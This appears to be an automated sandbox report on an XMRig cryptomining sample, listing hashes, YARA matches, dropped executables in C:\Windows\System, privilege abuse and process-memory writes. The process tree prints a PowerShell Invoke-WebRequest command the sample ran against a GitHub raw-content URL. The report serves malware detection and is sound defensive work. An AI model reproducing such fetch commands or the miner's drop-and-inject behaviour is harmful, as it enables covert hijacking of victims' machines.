xmrig | fbb6877b5379b09127435f11b3c9f0846652dbb72ec7d03ed2fbf8f01e1ad686

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14/05/2024, 21:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
Size

1.3MB
MD5

315553a3386ad6ff7ce8263dc92d7430
SHA1

26b6255fab15f2d73499d32271b29b3b7a9564ba
SHA256

fbb6877b5379b09127435f11b3c9f0846652dbb72ec7d03ed2fbf8f01e1ad686
SHA512

784d211381f40865f1c9d62188b2e4826751fa33512f7756b9073e3eca456e4f54796f10111828310de9f95d7ccddd6f5f6d36c312a4a2f0eab2d344c37a97e0
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjhnXwx8/2Pbx/mbGRZcFuA:Lz071uv4BPMkHC0IlnASEx/R2uA

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 20 IoCs

miner

resource	yara_rule
behavioral1/memory/2660-144-0x000000013F570000-0x000000013F962000-memory.dmp	xmrig
behavioral1/memory/2788-160-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	xmrig
behavioral1/memory/2592-131-0x000000013FD60000-0x0000000140152000-memory.dmp	xmrig
behavioral1/memory/1436-183-0x000000013FCD0000-0x00000001400C2000-memory.dmp	xmrig
behavioral1/memory/1624-172-0x000000013F050000-0x000000013F442000-memory.dmp	xmrig
behavioral1/memory/2684-151-0x000000013F100000-0x000000013F4F2000-memory.dmp	xmrig
behavioral1/memory/1196-135-0x000000013F570000-0x000000013F962000-memory.dmp	xmrig
behavioral1/memory/1572-118-0x000000013FE70000-0x0000000140262000-memory.dmp	xmrig
behavioral1/memory/1196-1634-0x000000013FA60000-0x000000013FE52000-memory.dmp	xmrig
behavioral1/memory/1556-4010-0x000000013F100000-0x000000013F4F2000-memory.dmp	xmrig
behavioral1/memory/1572-4011-0x000000013FE70000-0x0000000140262000-memory.dmp	xmrig
behavioral1/memory/2592-4340-0x000000013FD60000-0x0000000140152000-memory.dmp	xmrig
behavioral1/memory/2372-4341-0x000000013FD40000-0x0000000140132000-memory.dmp	xmrig
behavioral1/memory/2684-4343-0x000000013F100000-0x000000013F4F2000-memory.dmp	xmrig
behavioral1/memory/2788-4347-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	xmrig
behavioral1/memory/2508-4349-0x000000013F820000-0x000000013FC12000-memory.dmp	xmrig
behavioral1/memory/2636-4348-0x000000013FA30000-0x000000013FE22000-memory.dmp	xmrig
behavioral1/memory/2660-4346-0x000000013F570000-0x000000013F962000-memory.dmp	xmrig
behavioral1/memory/3016-4354-0x000000013F210000-0x000000013F602000-memory.dmp	xmrig
behavioral1/memory/1624-4353-0x000000013F050000-0x000000013F442000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2548	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1556	pmpKhmO.exe
1436	ljEgJFC.exe
1572	XUXWoRL.exe
2592	tXftmcj.exe
2660	qsPlxii.exe
2684	rSgylHh.exe
2788	VxvkPxh.exe
1624	ipWwSsr.exe
3016	dimDbXR.exe
2372	ditDIpe.exe
2508	XtWUiqD.exe
2636	MTMLGSL.exe
2136	SNxsLWH.exe
2540	RKdDeap.exe
2948	egndHdp.exe
2052	zpiEgJe.exe
1280	QCClcgu.exe
1680	QNlOuow.exe
2448	PpCncUZ.exe
848	xfqMqiD.exe
2200	PYGRspl.exe
912	FkjuOPn.exe
2028	cQBGciO.exe
304	HZoktYI.exe
760	ysDtcQQ.exe
2768	BazZuQc.exe
2856	aLsGlNB.exe
2248	DTMcEfx.exe
2900	LwLrOBI.exe
1048	UuscWwn.exe
1924	SNqtltv.exe
2432	Utdcylj.exe
2800	bXoPWDP.exe
1608	eCJfdbP.exe
952	MEYCxKF.exe
2388	qkebWBJ.exe
988	fbDdzBY.exe
2352	ZdGAmol.exe
2264	fWUIvCF.exe
2688	PdTkNqy.exe
1836	ISbSxOh.exe
2620	wsdJNUY.exe
756	zsDLRRR.exe
2704	DAFIcGC.exe
2752	rxVquWM.exe
2272	RgSyFxq.exe
2260	SezutCR.exe
800	XIXCHDJ.exe
664	qUGHvap.exe
2256	MBlpJWn.exe
484	QZRpxhV.exe
2204	PzSdedP.exe
2860	wIIekDV.exe
2320	fabDxdV.exe
2148	pIGWqOA.exe
2640	aFdSvwX.exe
900	SWViizs.exe
576	UtbvkzC.exe
1444	eTKYCkP.exe
880	JjCpycZ.exe
2496	SBtdPdo.exe
3012	pjCcnhZ.exe
2764	YPDYMMr.exe
2716	NfMhIoC.exe

Loads dropped DLL 64 IoCs

pid	Process
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1196-0-0x000000013FA60000-0x000000013FE52000-memory.dmp	upx
behavioral1/files/0x000b00000001226d-3.dat	upx
behavioral1/memory/1556-7-0x000000013F100000-0x000000013F4F2000-memory.dmp	upx
behavioral1/files/0x0009000000015caf-19.dat	upx
behavioral1/files/0x0008000000015d42-37.dat	upx
behavioral1/files/0x0008000000016c67-50.dat	upx
behavioral1/files/0x0006000000016caf-55.dat	upx
behavioral1/files/0x0006000000016d05-63.dat	upx
behavioral1/files/0x0009000000015cb7-132.dat	upx
behavioral1/memory/2660-144-0x000000013F570000-0x000000013F962000-memory.dmp	upx
behavioral1/memory/2788-160-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	upx
behavioral1/memory/2372-180-0x000000013FD40000-0x0000000140132000-memory.dmp	upx
behavioral1/memory/2636-182-0x000000013FA30000-0x000000013FE22000-memory.dmp	upx
behavioral1/files/0x00060000000173d3-163.dat	upx
behavioral1/files/0x00060000000175e8-161.dat	upx
behavioral1/files/0x00060000000173d6-153.dat	upx
behavioral1/files/0x000600000001720f-148.dat	upx
behavioral1/files/0x00060000000173b4-145.dat	upx
behavioral1/files/0x00060000000171ba-136.dat	upx
behavioral1/memory/2592-131-0x000000013FD60000-0x0000000140152000-memory.dmp	upx
behavioral1/files/0x0006000000016dd1-128.dat	upx
behavioral1/files/0x0006000000016db2-119.dat	upx
behavioral1/files/0x0006000000016d78-111.dat	upx
behavioral1/files/0x0006000000016d6c-104.dat	upx
behavioral1/files/0x0006000000016d55-96.dat	upx
behavioral1/memory/1436-183-0x000000013FCD0000-0x00000001400C2000-memory.dmp	upx
behavioral1/memory/2508-181-0x000000013F820000-0x000000013FC12000-memory.dmp	upx
behavioral1/memory/3016-174-0x000000013F210000-0x000000013F602000-memory.dmp	upx
behavioral1/memory/1624-172-0x000000013F050000-0x000000013F442000-memory.dmp	upx
behavioral1/files/0x0006000000017568-157.dat	upx
behavioral1/memory/2684-151-0x000000013F100000-0x000000013F4F2000-memory.dmp	upx
behavioral1/files/0x0006000000016dc8-127.dat	upx
behavioral1/files/0x0006000000016da0-126.dat	upx
behavioral1/memory/1572-118-0x000000013FE70000-0x0000000140262000-memory.dmp	upx
behavioral1/files/0x0006000000016d70-108.dat	upx
behavioral1/files/0x0006000000016d68-100.dat	upx
behavioral1/files/0x0006000000016d4c-92.dat	upx
behavioral1/files/0x0006000000016d44-88.dat	upx
behavioral1/files/0x0006000000016d3b-84.dat	upx
behavioral1/files/0x0006000000016d33-80.dat	upx
behavioral1/files/0x0006000000016d2b-76.dat	upx
behavioral1/files/0x0006000000016d22-72.dat	upx
behavioral1/files/0x0006000000016d1a-68.dat	upx
behavioral1/files/0x0006000000016cde-59.dat	upx
behavioral1/files/0x0007000000016a7d-41.dat	upx
behavioral1/files/0x0007000000015d13-35.dat	upx
behavioral1/files/0x0008000000015d09-34.dat	upx
behavioral1/files/0x000f000000003683-28.dat	upx
behavioral1/files/0x0008000000015cea-23.dat	upx
behavioral1/memory/1196-1634-0x000000013FA60000-0x000000013FE52000-memory.dmp	upx
behavioral1/memory/1556-4010-0x000000013F100000-0x000000013F4F2000-memory.dmp	upx
behavioral1/memory/1572-4011-0x000000013FE70000-0x0000000140262000-memory.dmp	upx
behavioral1/memory/2592-4340-0x000000013FD60000-0x0000000140152000-memory.dmp	upx
behavioral1/memory/2372-4341-0x000000013FD40000-0x0000000140132000-memory.dmp	upx
behavioral1/memory/2684-4343-0x000000013F100000-0x000000013F4F2000-memory.dmp	upx
behavioral1/memory/2788-4347-0x000000013F4F0000-0x000000013F8E2000-memory.dmp	upx
behavioral1/memory/2508-4349-0x000000013F820000-0x000000013FC12000-memory.dmp	upx
behavioral1/memory/2636-4348-0x000000013FA30000-0x000000013FE22000-memory.dmp	upx
behavioral1/memory/2660-4346-0x000000013F570000-0x000000013F962000-memory.dmp	upx
behavioral1/memory/3016-4354-0x000000013F210000-0x000000013F602000-memory.dmp	upx
behavioral1/memory/1624-4353-0x000000013F050000-0x000000013F442000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\eedVPUt.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\eQjMqRr.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\kKgUyCq.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\YJuQEJk.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\nfBOCkv.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\qeLjqMa.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\oLqSdvi.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\CaZvGVv.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\Lgsdqli.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\KVXcDEa.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\OaInXfg.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\KHXVxmP.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\BVAKkhG.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\yrBgqeD.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\qHqMVRV.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\ZftOipU.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\zXVziGw.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\pNdmDqf.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\TZhVhFr.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\zqfeWlv.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\kGiZePP.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\eApXwNi.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\vebEmTR.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\RDZuifb.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\JgsdWja.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\NzGWhFv.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\EdENdGw.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\NLPAvWu.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\LWTJXkN.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\CrpRncG.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\ooVdwcu.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\GBMzbyf.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\ZgPugVv.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\TRYOneg.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\wztqQbk.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\qcqktte.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\RCVKfOK.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\dPkpwFo.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\aFYiWRx.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\sJzCzEn.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\EBUVjgW.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\uvMcwIg.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\cuwdRaN.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\VDqIgOX.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\BkEpncH.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\dZbGpvr.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\SemNYzL.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\TJPVIYZ.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\eSofZxp.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\CtgJrsR.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\WmonOAf.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\ODBotBZ.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\dwbkciJ.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\nlGyKTD.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\pDMSmVt.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\SAFXaaU.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\NuFdvRy.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\xoVlVtx.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\BxmFsCo.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\ZqYvXKr.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\ybLXIvf.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\emzTAMB.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\xASknBL.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
File created	C:\Windows\System\SYjTDAF.exe	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 2548	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	29
PID 1196 wrote to memory of 2548	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	29
PID 1196 wrote to memory of 2548	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	29
PID 1196 wrote to memory of 1556	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	30
PID 1196 wrote to memory of 1556	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	30
PID 1196 wrote to memory of 1556	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	30
PID 1196 wrote to memory of 1436	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	31
PID 1196 wrote to memory of 1436	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	31
PID 1196 wrote to memory of 1436	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	31
PID 1196 wrote to memory of 1572	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	32
PID 1196 wrote to memory of 1572	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	32
PID 1196 wrote to memory of 1572	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	32
PID 1196 wrote to memory of 2592	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	33
PID 1196 wrote to memory of 2592	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	33
PID 1196 wrote to memory of 2592	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	33
PID 1196 wrote to memory of 2660	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	34
PID 1196 wrote to memory of 2660	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	34
PID 1196 wrote to memory of 2660	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	34
PID 1196 wrote to memory of 2684	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	35
PID 1196 wrote to memory of 2684	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	35
PID 1196 wrote to memory of 2684	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	35
PID 1196 wrote to memory of 2788	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	36
PID 1196 wrote to memory of 2788	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	36
PID 1196 wrote to memory of 2788	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	36
PID 1196 wrote to memory of 3016	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	37
PID 1196 wrote to memory of 3016	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	37
PID 1196 wrote to memory of 3016	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	37
PID 1196 wrote to memory of 1624	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	38
PID 1196 wrote to memory of 1624	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	38
PID 1196 wrote to memory of 1624	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	38
PID 1196 wrote to memory of 2372	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	39
PID 1196 wrote to memory of 2372	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	39
PID 1196 wrote to memory of 2372	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	39
PID 1196 wrote to memory of 2508	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	40
PID 1196 wrote to memory of 2508	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	40
PID 1196 wrote to memory of 2508	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	40
PID 1196 wrote to memory of 2636	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	41
PID 1196 wrote to memory of 2636	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	41
PID 1196 wrote to memory of 2636	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	41
PID 1196 wrote to memory of 2136	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	42
PID 1196 wrote to memory of 2136	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	42
PID 1196 wrote to memory of 2136	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	42
PID 1196 wrote to memory of 2540	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	43
PID 1196 wrote to memory of 2540	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	43
PID 1196 wrote to memory of 2540	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	43
PID 1196 wrote to memory of 2948	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	44
PID 1196 wrote to memory of 2948	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	44
PID 1196 wrote to memory of 2948	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	44
PID 1196 wrote to memory of 2052	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	45
PID 1196 wrote to memory of 2052	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	45
PID 1196 wrote to memory of 2052	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	45
PID 1196 wrote to memory of 1280	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	46
PID 1196 wrote to memory of 1280	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	46
PID 1196 wrote to memory of 1280	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	46
PID 1196 wrote to memory of 1680	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	47
PID 1196 wrote to memory of 1680	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	47
PID 1196 wrote to memory of 1680	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	47
PID 1196 wrote to memory of 2448	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	48
PID 1196 wrote to memory of 2448	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	48
PID 1196 wrote to memory of 2448	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	48
PID 1196 wrote to memory of 848	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	49
PID 1196 wrote to memory of 848	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	49
PID 1196 wrote to memory of 848	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	49
PID 1196 wrote to memory of 2200	1196	315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\315553a3386ad6ff7ce8263dc92d7430_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
